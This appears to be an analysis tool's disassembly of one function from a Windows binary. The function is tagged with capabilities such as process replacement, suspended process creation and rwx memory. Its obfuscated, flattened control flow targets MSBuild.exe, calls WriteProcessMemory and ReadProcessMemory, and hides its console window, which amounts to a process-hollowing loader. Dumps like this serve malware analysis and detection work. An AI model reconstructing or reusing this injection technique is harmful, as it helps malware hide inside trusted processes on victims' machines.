Function at 0x10003af0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x104
mov eax, dword [0x1003b600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1003c928]
mov eax, dword [0x1003c924]
mov edx, ecx
sub edx, 0x82f5edd1
sub edx, 1
add edx, 0x82f5edd1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x106], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x105], al
mov dword [ebp - 0x10c], 0x7e9be0e4
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x110], eax
sub eax, 0x8118e082
je 0x1000be3a
jmp 0x10003b6b
mov eax, dword [ebp - 0x110]
sub eax, 0x81ea9e05
je 0x10009b0a
jmp 0x10003b81
mov eax, dword [ebp - 0x110]
sub eax, 0x81eb7ee0
je 0x10009bf2
jmp 0x10003b97
mov eax, dword [ebp - 0x110]
sub eax, 0x820c97d6
je 0x10008893
jmp 0x10003bad
mov eax, dword [ebp - 0x110]
sub eax, 0x82376997
je 0x100085e4
jmp 0x10003bc3
mov eax, dword [ebp - 0x110]
sub eax, 0x82764c93
je 0x1000752a
jmp 0x10003bd9
mov eax, dword [ebp - 0x110]
sub eax, 0x82aea1a9
je 0x10008f9a
jmp 0x10003bef
mov eax, dword [ebp - 0x110]
sub eax, 0x83482e3b
je 0x1000be9d
jmp 0x10003c05
mov eax, dword [ebp - 0x110]
sub eax, 0x83d42601
je 0x1000aaa3
jmp 0x10003c1b
mov eax, dword [ebp - 0x110]
sub eax, 0x851dd84e
je 0x1000c26c
jmp 0x10003c31
mov eax, dword [ebp - 0x110]
sub eax, 0x86b73d84
je 0x1000c206
jmp 0x10003c47
mov eax, dword [ebp - 0x110]
sub eax, 0x871699eb
je 0x10006f0d
jmp 0x10003c5d
mov eax, dword [ebp - 0x110]
sub eax, 0x8790b76e
je 0x1000700d
jmp 0x10003c73
mov eax, dword [ebp - 0x110]
sub eax, 0x8876717a
je 0x1000ae2d
jmp 0x10003c89
mov eax, dword [ebp - 0x110]
sub eax, 0x88f0d5cb
je 0x10008df7
jmp 0x10003c9f
mov eax, dword [ebp - 0x110]
sub eax, 0x895b13fc
je 0x10009fec
jmp 0x10003cb5
mov eax, dword [ebp - 0x110]
sub eax, 0x89943d89
je 0x100066f8
jmp 0x10003ccb
mov eax, dword [ebp - 0x110]
sub eax, 0x8a743206
je 0x10006b98
jmp 0x10003ce1
mov eax, dword [ebp - 0x110]
sub eax, 0x8a8ee27f
je 0x100096e5
jmp 0x10003cf7
mov eax, dword [ebp - 0x110]
sub eax, 0x8ad3be00
je 0x10008964
jmp 0x10003d0d
mov eax, dword [ebp - 0x110]
sub eax, 0x8ad76b1c
je 0x1000a977
jmp 0x10003d23
mov eax, dword [ebp - 0x110]
sub eax, 0x8bed55aa
je 0x10007f9f
jmp 0x10003d39
mov eax, dword [ebp - 0x110]
sub eax, 0x8c6d341e
je 0x1000839a
jmp 0x10003d4f
mov eax, dword [ebp - 0x110]
sub eax, 0x8cc70767
je 0x1000be49
jmp 0x10003d65
mov eax, dword [ebp - 0x110]
sub eax, 0x8ce0f323
je 0x100091ef
jmp 0x10003d7b
mov eax, dword [ebp - 0x110]
sub eax, 0x8ce4cac0
je 0x1000bad4
jmp 0x10003d91
mov eax, dword [ebp - 0x110]
sub eax, 0x8cec8dae
je 0x10006577
jmp 0x10003da7
mov eax, dword [ebp - 0x110]
sub eax, 0x8d8e4734
je 0x100094d0
jmp 0x10003dbd
mov eax, dword [ebp - 0x110]
sub eax, 0x8ea7989b
je 0x100076f3
jmp 0x10003dd3
mov eax, dword [ebp - 0x110]
sub eax, 0x8f038138
je 0x1000b2d3
jmp 0x10003de9
mov eax, dword [ebp - 0x110]
sub eax, 0x8f7936bc
je 0x1000975b
jmp 0x10003dff
mov eax, dword [ebp - 0x110]
sub eax, 0x8f80981c
je 0x1000683b
jmp 0x10003e15
mov eax, dword [ebp - 0x110]
sub eax, 0x90a8694a
je 0x10008a82
jmp 0x10003e2b
mov eax, dword [ebp - 0x110]
sub eax, 0x90b1bece
je 0x1000bba9
jmp 0x10003e41
mov eax, dword [ebp - 0x110]
sub eax, 0x9197f57d
je 0x10008299
jmp 0x10003e57
mov eax, dword [ebp - 0x110]
sub eax, 0x92371b90
je 0x10008985
jmp 0x10003e6d
mov eax, dword [ebp - 0x110]
sub eax, 0x9260c20f
je 0x1000afd1
jmp 0x10003e83
mov eax, dword [ebp - 0x110]
sub eax, 0x9432d54a
je 0x10008d77
jmp 0x10003e99
mov eax, dword [ebp - 0x110]
sub eax, 0x9535b1ac
je 0x10008a44
jmp 0x10003eaf
mov eax, dword [ebp - 0x110]
sub eax, 0x958a49cd
je 0x1000bab3
jmp 0x10003ec5
mov eax, dword [ebp - 0x110]
sub eax, 0x9602089d
je 0x10007c09
jmp 0x10003edb
mov eax, dword [ebp - 0x110]
sub eax, 0x96628d2a
je 0x1000a776
jmp 0x10003ef1
mov eax, dword [ebp - 0x110]
sub eax, 0x96d9787b
je 0x1000a6a0
jmp 0x10003f07
mov eax, dword [ebp - 0x110]
sub eax, 0x96dde738
je 0x1000c251
jmp 0x10003f1d
mov eax, dword [ebp - 0x110]
sub eax, 0x96f42e18
je 0x100067a4
jmp 0x10003f33
mov eax, dword [ebp - 0x110]
sub eax, 0x97f0c535
je 0x1000b9fa
jmp 0x10003f49
mov eax, dword [ebp - 0x110]
sub eax, 0x9835e953
je 0x10008472
jmp 0x10003f5f
mov eax, dword [ebp - 0x110]
sub eax, 0x990a6882
je 0x10008ba3
jmp 0x10003f75
mov eax, dword [ebp - 0x110]
sub eax, 0x9910a1a3
je 0x1000bf81
jmp 0x10003f8b
mov eax, dword [ebp - 0x110]
sub eax, 0x997cf175
je 0x1000902d
jmp 0x10003fa1
mov eax, dword [ebp - 0x110]
sub eax, 0x99cf3849
je 0x1000b8e5
jmp 0x10003fb7
mov eax, dword [ebp - 0x110]
sub eax, 0x9a549f66
je 0x10007a54
jmp 0x10003fcd
mov eax, dword [ebp - 0x110]
sub eax, 0x9b22fa02
je 0x10006778
jmp 0x10003fe3
mov eax, dword [ebp - 0x110]
sub eax, 0x9b5a7c31
je 0x100095fe
jmp 0x10003ff9
mov eax, dword [ebp - 0x110]
sub eax, 0x9c30b515
je 0x1000900c
jmp 0x1000400f
mov eax, dword [ebp - 0x110]
sub eax, 0x9c620ec7
je 0x10009474
jmp 0x10004025
mov eax, dword [ebp - 0x110]
sub eax, 0x9c9c001b
je 0x10007f82
jmp 0x1000403b
mov eax, dword [ebp - 0x110]
sub eax, 0x9da8358f
je 0x1000c23c
jmp 0x10004051
mov eax, dword [ebp - 0x110]
sub eax, 0x9f200c75
je 0x1000c0bc
jmp 0x10004067
mov eax, dword [ebp - 0x110]
sub eax, 0xa187bf14
je 0x10008b23
jmp 0x1000407d
mov eax, dword [ebp - 0x110]
sub eax, 0xa2d9c37d
je 0x100093e2
jmp 0x10004093
mov eax, dword [ebp - 0x110]
sub eax, 0xa31df39f
je 0x10009da0
jmp 0x100040a9
mov eax, dword [ebp - 0x110]
sub eax, 0xa3805e39
je 0x1000bf1e
jmp 0x100040bf
mov eax, dword [ebp - 0x110]
sub eax, 0xa3ced024
je 0x1000bdf8
jmp 0x100040d5
mov eax, dword [ebp - 0x110]
sub eax, 0xa4274b61
je 0x1000881d
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10019228]
movss dword [eax], xmm0
mov ecx, dword [0x1003c928]
mov eax, dword [0x1003c924]
mov edx, ecx
sub edx, 0xf6ca010c
sub edx, 1
add edx, 0xf6ca010c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6d6cee0f
mov ecx, 0x2eb1e76f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10019224]
movss dword [eax], xmm0
mov ecx, dword [0x1003c928]
mov eax, dword [0x1003c924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x958a49cd
mov ecx, 0x9b22fa02
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov dword [ebp - 0x10c], 0xd1a0ad0a
jmp 0x1000c3ab
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10019390]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x47d932fe
jmp 0x1000c3ab
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10019220]
movss dword [eax], xmm0
mov eax, dword [0x1003c928]
mov ecx, dword [0x1003c924]
mov edx, eax
add edx, 0xf18e8b5f
sub edx, 1
sub edx, 0xf18e8b5f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8ce4cac0
mov ecx, 0x580acf52
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10019214]
movss dword [eax], xmm0
mov eax, dword [0x1003c928]
mov ecx, dword [0x1003c924]
mov edx, eax
sub edx, 0x92a5e884
sub edx, 1
add edx, 0x92a5e884
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe0129530
mov ecx, 0xcaea1087
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov dl, 1
mov eax, 0x1e27f40
mov ecx, 0x5b219462
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov dword [ebp - 0x10c], 0x50d9a79b
jmp 0x1000c3ab
mov eax, dword [0x1003c928]
mov ecx, dword [0x1003c924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc8414802
mov ecx, 0xe36b2ec5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov dword [ebp - 0x10c], 0x559a707c
jmp 0x1000c3ab
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100191ec]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100191e8]
movss dword [eax], xmm0
mov eax, dword [0x1003c928]
mov ecx, dword [0x1003c924]
mov edx, eax
sub edx, 0x9e0642d3
sub edx, 1
add edx, 0x9e0642d3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd263896e
mov ecx, 0x3cc0a4b1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001933c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10019338]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x39613416
jmp 0x1000c3ab
mov dl, 1
mov eax, 0xccbecb1b
mov ecx, 0x8bed55aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov eax, dword [0x1003c928]
mov ecx, dword [0x1003c924]
mov edx, eax
sub edx, 0x2472d0d5
sub edx, 1
add edx, 0x2472d0d5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd569800f
mov ecx, 0x54573dac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov eax, dword [0x1003c928]
mov ecx, dword [0x1003c924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa3ced024
mov ecx, 0xc0067050
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001932c]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xa7390331
jmp 0x1000c3ab
mov dl, 1
mov eax, 0x6d564442
mov ecx, 0xa9dd4b46
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov dword [ebp - 0x10c], 0xfcb89de2
jmp 0x1000c3ab
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100191b0]
movss dword [eax], xmm0
mov eax, dword [0x1003c928]
mov ecx, dword [0x1003c924]
mov edx, eax
add edx, 0xf6c3397c
sub edx, 1
sub edx, 0xf6c3397c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x83482e3b
mov ecx, 0x72d82298
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10019304]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x92371b90
jmp 0x1000c3ab
mov ecx, dword [0x1003c928]
mov eax, dword [0x1003c924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x59908db4
mov ecx, 0x1d864820
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov dl, 1
mov eax, 0x435661f2
mov ecx, 0xc2262a16
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100192fc]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x435661f2
jmp 0x1000c3ab
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100192ec]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xd9a477f4
jmp 0x1000c3ab
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100192e0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100192dc]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100192d8]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xa7c564df
jmp 0x1000c3ab
mov dword [ebp - 0x10c], 0x335211ab
jmp 0x1000c3ab
mov ecx, dword [0x1003c928]
mov eax, dword [0x1003c924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x358e5f30
mov ecx, 0x1c81d701
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100191a8]
movss dword [eax], xmm0
mov eax, dword [0x1003c928]
mov ecx, dword [0x1003c924]
mov edx, eax
sub edx, 0xf16e17c0
sub edx, 1
add edx, 0xf16e17c0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5eb8b7e3
mov ecx, 0x6555e214
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100192b0]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x997cf175
jmp 0x1000c3ab
mov dl, 1
mov eax, 0x48f2b915
mov ecx, 0x1f737813
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10019294]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xab9dbd15
jmp 0x1000c3ab
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100191a0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1001919c]
movss dword [eax], xmm0
mov ecx, dword [0x1003c928]
mov eax, dword [0x1003c924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcef449df
mov ecx, 0x9c620ec7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov dword [ebp - 0x10c], 0x4c3b498c
jmp 0x1000c3ab
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10019280]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1001927c]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0xdd6b076b
jmp 0x1000c3ab
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10019278]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x4f71a09d
jmp 0x1000c3ab
mov ecx, dword [0x1003c928]
mov eax, dword [0x1003c924]
mov edx, ecx
sub edx, 0x72372163
sub edx, 1
add edx, 0x72372163
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1df1830f
mov ecx, 0x8f7936bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov dword [ebp - 0x10c], 0xc07431ea
jmp 0x1000c3ab
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [str.0_]
movss dword [eax], xmm0
mov ecx, dword [0x1003c928]
mov eax, dword [0x1003c924]
mov edx, ecx
sub edx, 0x31fe4b58
sub edx, 1
add edx, 0x31fe4b58
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5d3a82f5
mov ecx, 0x6740fdf4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov eax, dword [0x1003c928]
mov ecx, dword [0x1003c924]
mov edx, eax
add edx, 0x7ea8c43e
sub edx, 1
sub edx, 0x7ea8c43e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2198344e
mov ecx, 0x4407d33b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
add eax, 0x3c
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x10c], 0x2fb95375
jmp 0x1000c3ab
mov cl, byte [ebp - 0x7a]
and cl, 1
mov eax, dword [ebp - 0xcc]
mov byte [eax], cl
mov eax, dword [ebp - 0xc8]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xcc]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0x79], al
mov ecx, dword [0x1003c928]
mov eax, dword [0x1003c924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdb930448
mov ecx, 0xf03cf855
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc0]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd4]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x18
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, 0x8155637e
add ecx, eax
sub ecx, 0x8155637e
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb0]
mov dword [eax], 0
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x10c], 0x96628d2a
jmp 0x1000c3ab
mov eax, dword [0x1003c928]
mov ecx, dword [0x1003c924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf1c2e038
mov ecx, 0xd56ff4e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xa8]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa8]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x10c], 0x16464ed4
jmp 0x1000c3ab
mov eax, dword [0x1003c928]
mov ecx, dword [0x1003c924]
mov edx, eax
sub edx, 0x48b0fc53
sub edx, 1
add edx, 0x48b0fc53
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfa53a725
mov ecx, 0x521d1465
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov ecx, dword [0x1003c928]
mov eax, dword [0x1003c924]
mov edx, ecx
sub edx, 0x2d807b0
sub edx, 1
add edx, 0x2d807b0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb0d09c0a
mov ecx, 0x2fb63db3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xa0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov eax, dword [eax + 4]
sub eax, 0x85a7a748
sub eax, 8
add eax, 0x85a7a748
shr eax, 1
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x10c], 0x1d10f5f4
jmp 0x1000c3ab
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
sub ecx, 0x22bbfd14
add ecx, eax
add ecx, 0x22bbfd14
mov eax, dword [ebp - 0x90]
mov dword [eax], ecx
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd4]
mov edx, dword [eax]
mov eax, dword [ebp - 0x8c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0xf8b165b0
mov ecx, 0x689880e8
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
mov ecx, dword [0x1003c928]
mov eax, dword [0x1003c924]
mov edx, ecx
sub edx, 0x7d9487c6
sub edx, 1
add edx, 0x7d9487c6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb0312c9d
mov ecx, 0x1352f638
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000c3ab
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001310
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001310
add esp, 4
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10019234]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10019230]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001922c]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x2f3eba8d
jmp 0x1000c3ab
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10019224]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x89943d89
jmp 0x1000c3ab
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10019220]
movss dword [eax], xmm0
mov dword [ebp - 0x10c], 0x8f80981c
jmp 0x1000c3ab
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10019208]
movss dword [eax], xmm0
